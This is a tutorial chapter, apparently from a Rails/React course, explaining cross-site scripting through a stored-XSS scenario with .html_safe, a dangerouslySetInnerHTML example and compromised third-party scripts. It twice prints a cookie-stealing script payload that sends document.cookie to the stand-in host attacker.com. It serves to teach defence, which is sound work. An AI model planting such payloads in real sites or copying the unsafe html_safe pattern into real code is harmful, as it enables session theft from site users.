Cross-site scripting (XSS) is a security attack where the hacker tries to steal the cookie/token so that the hacker could login to the system.

In order for XSS attack to happen hacker needs to execute custom JavaScript code. This sentence is confusing to a lot of people because web pages execute JavaScript code all the time.

Most of the web applications have JavaScript code. These JavaScript codes are fine because these JavaScript codes are part of the application itself.

If a hacker is able to execute hacker's JavaScript code then hacker can steal cookies or token. If a hacker is able to execute following JavaScript code then hacker will have access to someone else's cookie.

1<script>
2  new Image().src="http://attacker.com?cookie='+document.cookie;
3</script>

Let's see how hacker might trick user into executing the JavaScript code of the hacker.

Let's say that we have a Rails application and we want to display the address. The developer might try something like this.

1array = [name, address1, address2, city_name, state_name, zip, country_name]
2array.compact.join('<br />')

This will render data like this in the browser.

1BigBinary<br />5214F Diamond Heights Blvd<br />Suite #553<br />San Francisco<br />94151

This does not look right. <br /> is literally visible on the page.

To fix this, the developer changes code to following.

1array = [name, address1, address2, city_name, state_name, zip, country_name]
2array.compact.join('<br />').html_safe

Now Rails renders the html content nicely and respects <br />.

1BigBinary
25214F Diamond Heights Blvd
3Suite #553
4San Francisco
594151

That code has made application vulnerable to XSS attack. Here is what hacker can do. Hacker signs up in the application as "Harry". We will call him "Harry the hacker". Harry puts in the following value for address1 while filling out the form.

1<script>
2  new Image().src="http://attacker.com?cookie='+document.cookie;
3</script>

A few weeks later admin of the site visits the page of Harry. When admin visits the page of Harry then following code is executed.

1array = [name, address1, address2, city_name, state_name, zip, country_name]
2array.compact.join('<br />').html_safe

Remember that Harry has put <script> tag in his address1. When the browser sees any <script> tag then browser executes the JavaScript in the <script> tag. In this way Harry's JavaScript code is executed by the browser. This script accesses the cookie of the admin, and posts it to hacker's site.

While all this is happening the admin is not aware that the admin's cookie has been stolen.

dangerouslySetInnerHTML is dangerous

In React both innerHTML and dangerouslySetInnerHTML update the DOM node with the html supplied. However dangerouslySetInnerHTML does not do any sanitation of the html supplied. React trusts what user is doing when dangerouslySetInnerHTML is used.

1function buildMarkup() {
2  return {
3    __html:
4      "<script>alert('XSS attack is possible if you this alert')</script>",
5  };
6}
7
8<div dangerouslySetInnerHTML={buildMarkup()} />;

In the above case the application is vulnerable to XSS attack.

Compromising third party libraries

These days our web applications use many third party libraries. We use bootstrap, jQuery, React, Angular, Intercom, Drip, Google Analytics, mixpanel and others. Typically, the code is something like this.

1<script src="https://thirpartylibrary.com/minified.js"></script>

If the third-party library is hacked, then the hacker is able to inject malicious JavaScript code in the page. It means that if the hosting of the third-party library is hacked, then the main application becomes vulnerable to XSS attacks.

There is nothing to commit in this chapter since all we had done was learning the basics of XSS attacks.

⌘K
    to navigateEnterto select Escto close
    Previous
    Next